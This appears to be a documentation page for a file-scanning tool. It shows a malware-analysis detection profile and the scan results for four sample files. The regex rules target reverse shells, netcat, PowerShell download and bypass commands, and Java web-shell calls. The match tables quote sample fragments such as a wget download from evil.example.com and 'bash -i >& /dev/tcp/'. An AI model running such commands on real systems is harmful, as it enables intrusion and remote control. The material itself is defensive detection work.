Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Example: malware-analysis

Inputs

  • examples/inputs/malware-analysis-samples/java_webshell.java
  • examples/inputs/malware-analysis-samples/powershell_attack.ps1
  • examples/inputs/malware-analysis-samples/python_malware_patterns.py
  • examples/inputs/malware-analysis-samples/suspicious_shell_script.sh

Profile

# Malware Analysis Profile
# Profile for analyzing potentially malicious files

decode = ["base64", "hex", "unicode-escape-sequences"]

max-file-size = 104857600  # 100 MiB

include-path-globs = []
exclude-path-globs = []

tag = "malware-analysis"

# Suspicious Shell Commands
[[patterns]]
  name = "wget/curl Download"
  pattern = "(wget|curl)\\s+[^\\s]+"
  type = "regex"

[[patterns]]
  name = "Base64 Decode Command"
  pattern = "base64\\s+-d"
  type = "regex"

[[patterns]]
  name = "Netcat Command"
  pattern = "(nc|netcat|ncat)\\s+-[elvp]"
  type = "regex"

[[patterns]]
  name = "Reverse Shell"
  pattern = "bash\\s+-i\\s+>&\\s*/dev/tcp/"
  type = "regex"

# PowerShell Indicators
[[patterns]]
  name = "PowerShell Encoded Command"
  pattern = "-enc(odedcommand)?\\s+"
  type = "regex"
  case-insensitive = true

[[patterns]]
  name = "PowerShell Download"
  pattern = "Invoke-WebRequest|IWR|wget|curl|DownloadString|DownloadFile"
  type = "regex"
  case-insensitive = true

[[patterns]]
  name = "PowerShell Bypass"
  pattern = "-ep\\s+bypass|-ExecutionPolicy\\s+Bypass"
  type = "regex"
  case-insensitive = true

# Java/Web Shell Indicators
[[patterns]]
  name = "Java Runtime Exec"
  pattern = "Runtime\\.getRuntime\\(\\)\\.exec\\("
  type = "regex"

[[patterns]]
  name = "Process Builder"
  pattern = "new\\s+ProcessBuilder\\("
  type = "regex"

[[patterns]]
  name = "JSP Shell Indicator"
  pattern = "getParameter.*exec|Runtime.*getParameter"
  type = "regex"

# Python Indicators
[[patterns]]
  name = "Python Exec"
  pattern = "(exec|eval)\\s*\\([^)]+\\)"
  type = "regex"

[[patterns]]
  name = "Python Subprocess"
  pattern = "subprocess\\.(call|run|Popen)"
  type = "regex"

[[patterns]]
  name = "Python os.system"
  pattern = "os\\.system\\s*\\("
  type = "regex"

# Obfuscation Indicators
[[patterns]]
  name = "Variable Named Payload"
  pattern = "(payload|shellcode|shell_code)\\s*="
  type = "regex"
  case-insensitive = true

[[patterns]]
  name = "Long Hex String"
  pattern = "[0-9a-fA-F]{64,}"
  type = "regex"

# File Format Signatures (embedded in non-matching files)
[[patterns]]
  name = "Embedded ELF"
  pattern = "7F:45:4C:46"
  type = "bytes"

[[patterns]]
  name = "Embedded PE (MZ)"
  pattern = "4D:5A:90:00"
  type = "bytes"

# Signatures
[[signatures]]
  name = "High Entropy Files (Packed/Encrypted)"
  query = "SELECT sha256 FROM unique_files WHERE shannon_entropy > 7.0"

[[signatures]]
  name = "Small Suspicious Files"
  query = "SELECT sha256 FROM unique_files WHERE file_size < 10000 AND sha256 IN (SELECT sha256 FROM pattern_matches)"

[[signatures]]
  name = "Files with Multiple Indicators"
  query = "SELECT sha256, COUNT(DISTINCT pattern_name) as indicator_count FROM pattern_matches GROUP BY sha256 HAVING indicator_count > 3"

Report outputs

Triage report (converted from triage_report.json)

total_files7
critical_count0
high_count0
medium_count0
low_count3
minimal_count4
must_investigate_count0
all_scoresNone
generated_at2025-12-03T09:19:43.647661366+00:00

top_scores

characteristics_scorefile_typefile_type_scoremust_investigatepathpattern_count_scorepattern_matchespattern_severity_scorereasonsrisk_levelscoresha256
0Script20False/suspicious_shell_script.sh151212["12 suspicious patterns detected"]Low47da2ea4aa42dd635ec5ec51e4d58c45c9cfe68976dafa81726c95e5f1a0a44707
0Script20False/python_malware_patterns.py151111["11 suspicious patterns detected"]Low461354f43bdc1c77e91e95b94c9de15be5c2c1e9f58e6708c38a651672aec01620
0Script20False/powershell_attack.ps110810["8 suspicious patterns detected"]Low40c2801a05678b65995a653083595d45411aa341a4188475b791aac2568edff2a2
0Other0False/suspicious_shell_script.sh/suspicious_shell_script.sh.unicode-escape-sequences151212["12 suspicious patterns detected"]Minimal279e7eb9e4b74588adefb097a18888afa011a98d9e5219a3354a76e60d4d5de15d
0Other0False/python_malware_patterns.py/python_malware_patterns.py.unicode-escape-sequences151111["11 suspicious patterns detected"]Minimal26ea7385660997b9dc4a76c9467fe3dea1d83f1110961593d5cd38f1d98aa54f0b
0Other0False/powershell_attack.ps1/powershell_attack.ps1.unicode-escape-sequences10810["8 suspicious patterns detected"]Minimal20f47e6c85d534fb6fc386c20010d04162f66ea1d3d8e2a2d7e13e8364d9e2b9b0
0Other0False/java_webshell.java1079["7 suspicious patterns detected"]Minimal19048ed5ccb9b83a273c4d2e70076a087616acd54bb9559e957f3a423895ab9701

CSV outputs

errors.csv

Empty CSV

files.csv

pathfile_namesha256file_createdfile_modifiedfile_accessedmime_types_from_file_extensionis_symbolic_linkis_extracted_fileis_decoded_fileis_deobfuscated_filetag
/suspicious_shell_script.sh/suspicious_shell_script.sh.unicode-escape-sequencessuspicious_shell_script.sh.unicode-escape-sequences9e7eb9e4b74588adefb097a18888afa011a98d9e5219a3354a76e60d4d5de15d[]0010
/suspicious_shell_script.shsuspicious_shell_script.shda2ea4aa42dd635ec5ec51e4d58c45c9cfe68976dafa81726c95e5f1a0a447072025-12-03T08:56:20.496889204Z2025-12-03T08:56:20.496889204Z2025-12-03T08:56:20.496889204Z["text/x-shellscript"]0000
/powershell_attack.ps1/powershell_attack.ps1.unicode-escape-sequencespowershell_attack.ps1.unicode-escape-sequencesf47e6c85d534fb6fc386c20010d04162f66ea1d3d8e2a2d7e13e8364d9e2b9b0[]0010
/python_malware_patterns.py/python_malware_patterns.py.unicode-escape-sequencespython_malware_patterns.py.unicode-escape-sequencesea7385660997b9dc4a76c9467fe3dea1d83f1110961593d5cd38f1d98aa54f0b[]0010
/python_malware_patterns.pypython_malware_patterns.py1354f43bdc1c77e91e95b94c9de15be5c2c1e9f58e6708c38a651672aec016202025-12-03T08:56:20.496889204Z2025-12-03T08:56:20.496889204Z2025-12-03T08:56:20.496889204Z["text/x-script.python"]0000
/powershell_attack.ps1powershell_attack.ps1c2801a05678b65995a653083595d45411aa341a4188475b791aac2568edff2a22025-12-03T08:56:20.496889204Z2025-12-03T08:56:20.496889204Z2025-12-03T08:56:20.496889204Z[]0000
/java_webshell.javajava_webshell.java048ed5ccb9b83a273c4d2e70076a087616acd54bb9559e957f3a423895ab97012025-12-03T08:56:20.496889204Z2025-12-03T08:56:20.496889204Z2025-12-03T08:56:20.496889204Z[]0000

pattern_matches.csv

idsha256pattern_namematch_typematchlocationlength
19e7eb9e4b74588adefb097a18888afa011a98d9e5219a3354a76e60d4d5de15dwget/curl Downloadregexwget http://evil.example.com/malware.sh6:039
29e7eb9e4b74588adefb097a18888afa011a98d9e5219a3354a76e60d4d5de15dwget/curl Downloadregexcurl -O7:07
39e7eb9e4b74588adefb097a18888afa011a98d9e5219a3354a76e60d4d5de15dBase64 Decode Commandregexbase64 -d10:269
49e7eb9e4b74588adefb097a18888afa011a98d9e5219a3354a76e60d4d5de15dNetcat Commandregexnc -l13:05
59e7eb9e4b74588adefb097a18888afa011a98d9e5219a3354a76e60d4d5de15dNetcat Commandregexnetcat -e14:09
69e7eb9e4b74588adefb097a18888afa011a98d9e5219a3354a76e60d4d5de15dReverse Shellregexbash -i >& /dev/tcp/17:020
79e7eb9e4b74588adefb097a18888afa011a98d9e5219a3354a76e60d4d5de15dPowerShell Downloadregexwget6:04
89e7eb9e4b74588adefb097a18888afa011a98d9e5219a3354a76e60d4d5de15dPowerShell Downloadregexcurl7:04
99e7eb9e4b74588adefb097a18888afa011a98d9e5219a3354a76e60d4d5de15dVariable Named Payloadregexpayload=20:08
109e7eb9e4b74588adefb097a18888afa011a98d9e5219a3354a76e60d4d5de15dVariable Named Payloadregexshellcode=21:010
119e7eb9e4b74588adefb097a18888afa011a98d9e5219a3354a76e60d4d5de15dVariable Named Payloadregexshell_code =22:012
129e7eb9e4b74588adefb097a18888afa011a98d9e5219a3354a76e60d4d5de15dLong Hex Stringregex4d5a90000300000004000000ffff0000b80000000000000040000000000000004d5a90000300000004000000ffff0000b8000000000000004025:10114
13da2ea4aa42dd635ec5ec51e4d58c45c9cfe68976dafa81726c95e5f1a0a44707wget/curl Downloadregexwget http://evil.example.com/malware.sh6:039
14da2ea4aa42dd635ec5ec51e4d58c45c9cfe68976dafa81726c95e5f1a0a44707wget/curl Downloadregexcurl -O7:07
15da2ea4aa42dd635ec5ec51e4d58c45c9cfe68976dafa81726c95e5f1a0a44707Base64 Decode Commandregexbase64 -d10:269
16da2ea4aa42dd635ec5ec51e4d58c45c9cfe68976dafa81726c95e5f1a0a44707Netcat Commandregexnc -l13:05
17da2ea4aa42dd635ec5ec51e4d58c45c9cfe68976dafa81726c95e5f1a0a44707Netcat Commandregexnetcat -e14:09
18da2ea4aa42dd635ec5ec51e4d58c45c9cfe68976dafa81726c95e5f1a0a44707Reverse Shellregexbash -i >& /dev/tcp/17:020
19da2ea4aa42dd635ec5ec51e4d58c45c9cfe68976dafa81726c95e5f1a0a44707PowerShell Downloadregexwget6:04
20da2ea4aa42dd635ec5ec51e4d58c45c9cfe68976dafa81726c95e5f1a0a44707PowerShell Downloadregexcurl7:04
21da2ea4aa42dd635ec5ec51e4d58c45c9cfe68976dafa81726c95e5f1a0a44707Variable Named Payloadregexpayload=20:08
22da2ea4aa42dd635ec5ec51e4d58c45c9cfe68976dafa81726c95e5f1a0a44707Variable Named Payloadregexshellcode=21:010
23da2ea4aa42dd635ec5ec51e4d58c45c9cfe68976dafa81726c95e5f1a0a44707Variable Named Payloadregexshell_code =22:012
24da2ea4aa42dd635ec5ec51e4d58c45c9cfe68976dafa81726c95e5f1a0a44707Long Hex Stringregex4d5a90000300000004000000ffff0000b80000000000000040000000000000004d5a90000300000004000000ffff0000b8000000000000004025:10114
25f47e6c85d534fb6fc386c20010d04162f66ea1d3d8e2a2d7e13e8364d9e2b9b0PowerShell Encoded Commandregex-encodedcommand 5:1516
26f47e6c85d534fb6fc386c20010d04162f66ea1d3d8e2a2d7e13e8364d9e2b9b0PowerShell Encoded Commandregex-enc 6:115
27f47e6c85d534fb6fc386c20010d04162f66ea1d3d8e2a2d7e13e8364d9e2b9b0PowerShell DownloadregexInvoke-WebRequest9:017
28f47e6c85d534fb6fc386c20010d04162f66ea1d3d8e2a2d7e13e8364d9e2b9b0PowerShell DownloadregexIWR10:03
29f47e6c85d534fb6fc386c20010d04162f66ea1d3d8e2a2d7e13e8364d9e2b9b0PowerShell DownloadregexDownloadString11:2714
30f47e6c85d534fb6fc386c20010d04162f66ea1d3d8e2a2d7e13e8364d9e2b9b0PowerShell DownloadregexDownloadFile12:2712
31f47e6c85d534fb6fc386c20010d04162f66ea1d3d8e2a2d7e13e8364d9e2b9b0PowerShell Bypassregex-ep bypass15:1510
32f47e6c85d534fb6fc386c20010d04162f66ea1d3d8e2a2d7e13e8364d9e2b9b0PowerShell Bypassregex-ExecutionPolicy Bypass16:1123
33ea7385660997b9dc4a76c9467fe3dea1d83f1110961593d5cd38f1d98aa54f0bPython Execregexexec(user_input)20:016
34ea7385660997b9dc4a76c9467fe3dea1d83f1110961593d5cd38f1d98aa54f0bPython Execregexeval("__import__('os')21:022
35ea7385660997b9dc4a76c9467fe3dea1d83f1110961593d5cd38f1d98aa54f0bPython Execregexexec(decoded)26:013
36ea7385660997b9dc4a76c9467fe3dea1d83f1110961593d5cd38f1d98aa54f0bPython Subprocessregexsubprocess.call14:015
37ea7385660997b9dc4a76c9467fe3dea1d83f1110961593d5cd38f1d98aa54f0bPython Subprocessregexsubprocess.run15:014
38ea7385660997b9dc4a76c9467fe3dea1d83f1110961593d5cd38f1d98aa54f0bPython Subprocessregexsubprocess.Popen16:016
39ea7385660997b9dc4a76c9467fe3dea1d83f1110961593d5cd38f1d98aa54f0bPython os.systemregexos.system(10:010
40ea7385660997b9dc4a76c9467fe3dea1d83f1110961593d5cd38f1d98aa54f0bPython os.systemregexos.system(11:010
41ea7385660997b9dc4a76c9467fe3dea1d83f1110961593d5cd38f1d98aa54f0bVariable Named Payloadregexpayload =24:89
42ea7385660997b9dc4a76c9467fe3dea1d83f1110961593d5cd38f1d98aa54f0bVariable Named Payloadregexpayload =29:09
43ea7385660997b9dc4a76c9467fe3dea1d83f1110961593d5cd38f1d98aa54f0bVariable Named Payloadregexshellcode =30:011
441354f43bdc1c77e91e95b94c9de15be5c2c1e9f58e6708c38a651672aec01620Python Execregexexec(user_input)20:016
451354f43bdc1c77e91e95b94c9de15be5c2c1e9f58e6708c38a651672aec01620Python Execregexeval("__import__('os')21:022
461354f43bdc1c77e91e95b94c9de15be5c2c1e9f58e6708c38a651672aec01620Python Execregexexec(decoded)26:013
471354f43bdc1c77e91e95b94c9de15be5c2c1e9f58e6708c38a651672aec01620Python Subprocessregexsubprocess.call14:015
481354f43bdc1c77e91e95b94c9de15be5c2c1e9f58e6708c38a651672aec01620Python Subprocessregexsubprocess.run15:014
491354f43bdc1c77e91e95b94c9de15be5c2c1e9f58e6708c38a651672aec01620Python Subprocessregexsubprocess.Popen16:016
501354f43bdc1c77e91e95b94c9de15be5c2c1e9f58e6708c38a651672aec01620Python os.systemregexos.system(10:010
511354f43bdc1c77e91e95b94c9de15be5c2c1e9f58e6708c38a651672aec01620Python os.systemregexos.system(11:010
521354f43bdc1c77e91e95b94c9de15be5c2c1e9f58e6708c38a651672aec01620Variable Named Payloadregexpayload =24:89
531354f43bdc1c77e91e95b94c9de15be5c2c1e9f58e6708c38a651672aec01620Variable Named Payloadregexpayload =29:09
541354f43bdc1c77e91e95b94c9de15be5c2c1e9f58e6708c38a651672aec01620Variable Named Payloadregexshellcode =30:011
55c2801a05678b65995a653083595d45411aa341a4188475b791aac2568edff2a2PowerShell Encoded Commandregex-encodedcommand 5:1516
56c2801a05678b65995a653083595d45411aa341a4188475b791aac2568edff2a2PowerShell Encoded Commandregex-enc 6:115
57c2801a05678b65995a653083595d45411aa341a4188475b791aac2568edff2a2PowerShell DownloadregexInvoke-WebRequest9:017
58c2801a05678b65995a653083595d45411aa341a4188475b791aac2568edff2a2PowerShell DownloadregexIWR10:03
59c2801a05678b65995a653083595d45411aa341a4188475b791aac2568edff2a2PowerShell DownloadregexDownloadString11:2714
60c2801a05678b65995a653083595d45411aa341a4188475b791aac2568edff2a2PowerShell DownloadregexDownloadFile12:2712
61c2801a05678b65995a653083595d45411aa341a4188475b791aac2568edff2a2PowerShell Bypassregex-ep bypass15:1510
62c2801a05678b65995a653083595d45411aa341a4188475b791aac2568edff2a2PowerShell Bypassregex-ExecutionPolicy Bypass16:1123
63048ed5ccb9b83a273c4d2e70076a087616acd54bb9559e957f3a423895ab9701Java Runtime ExecregexRuntime.getRuntime().exec(16:2426
64048ed5ccb9b83a273c4d2e70076a087616acd54bb9559e957f3a423895ab9701Java Runtime ExecregexRuntime.getRuntime().exec(25:826
65048ed5ccb9b83a273c4d2e70076a087616acd54bb9559e957f3a423895ab9701Process Builderregexnew ProcessBuilder(21:2819
66048ed5ccb9b83a273c4d2e70076a087616acd54bb9559e957f3a423895ab9701JSP Shell IndicatorregexgetParameter and exec24:4521
67048ed5ccb9b83a273c4d2e70076a087616acd54bb9559e957f3a423895ab9701JSP Shell IndicatorregexRuntime.getRuntime().exec(request.getParameter25:846
68048ed5ccb9b83a273c4d2e70076a087616acd54bb9559e957f3a423895ab9701Python Execregexexec(cmd)16:459
69048ed5ccb9b83a273c4d2e70076a087616acd54bb9559e957f3a423895ab9701Python Execregexexec(request.getParameter("command")25:2936

signature_matches.csv

idsignature_namesha256
1Small Suspicious Files048ed5ccb9b83a273c4d2e70076a087616acd54bb9559e957f3a423895ab9701
2Small Suspicious Files1354f43bdc1c77e91e95b94c9de15be5c2c1e9f58e6708c38a651672aec01620
3Small Suspicious Files9e7eb9e4b74588adefb097a18888afa011a98d9e5219a3354a76e60d4d5de15d
4Small Suspicious Filesc2801a05678b65995a653083595d45411aa341a4188475b791aac2568edff2a2
5Small Suspicious Filesda2ea4aa42dd635ec5ec51e4d58c45c9cfe68976dafa81726c95e5f1a0a44707
6Small Suspicious Filesea7385660997b9dc4a76c9467fe3dea1d83f1110961593d5cd38f1d98aa54f0b
7Small Suspicious Filesf47e6c85d534fb6fc386c20010d04162f66ea1d3d8e2a2d7e13e8364d9e2b9b0
8Files with Multiple Indicators048ed5ccb9b83a273c4d2e70076a087616acd54bb9559e957f3a423895ab9701
9Files with Multiple Indicators1354f43bdc1c77e91e95b94c9de15be5c2c1e9f58e6708c38a651672aec01620
10Files with Multiple Indicators9e7eb9e4b74588adefb097a18888afa011a98d9e5219a3354a76e60d4d5de15d
11Files with Multiple Indicatorsda2ea4aa42dd635ec5ec51e4d58c45c9cfe68976dafa81726c95e5f1a0a44707
12Files with Multiple Indicatorsea7385660997b9dc4a76c9467fe3dea1d83f1110961593d5cd38f1d98aa54f0b

unique_files.csv

sha256sha1md5file_sizemime_type_for_contentshannon_entropy
9e7eb9e4b74588adefb097a18888afa011a98d9e5219a3354a76e60d4d5de15d668f48403d95b4045624ef0a60a30aa1363fd32bed091b801594999629905096f58a118c740text/x-shellscript5.1272899157043
da2ea4aa42dd635ec5ec51e4d58c45c9cfe68976dafa81726c95e5f1a0a447077f94d673cd80619cfe1920bc4c7fb3a02e43b6c8b7b454a5138bc6a75980cb0506567eef743text/x-shellscript5.14450961095171
f47e6c85d534fb6fc386c20010d04162f66ea1d3d8e2a2d7e13e8364d9e2b9b00f2f52cbdd818c6903259a9f3e5f75993bdbb34fcd959f43adf77e2bdcd31201d19c42bc827text/plain5.32534428153232
ea7385660997b9dc4a76c9467fe3dea1d83f1110961593d5cd38f1d98aa54f0b12bce085224aa646bca31adee3b1e5d7a4948136257a1291b56b7a26349e1347ce48666a769text/x-script.python5.27674554008029
1354f43bdc1c77e91e95b94c9de15be5c2c1e9f58e6708c38a651672aec0162012450fd01e050c19d9509e6ddb8e087346a66df350d10f7f6c0ea2ec95d6eef88f01233e774text/x-script.python5.29893895886362
c2801a05678b65995a653083595d45411aa341a4188475b791aac2568edff2a29e32266cbbd34e3e8b3f6e1dc00c39317ef914b653f6f93d22c7386bf1515484a6e746a3830text/plain5.34062167439142
048ed5ccb9b83a273c4d2e70076a087616acd54bb9559e957f3a423895ab97013885920b8c21fa39f31bef985f8b864adfb01c1fb03345873b6adc8dfaf9d57b0fb4ffaa998text/plain4.7078031772999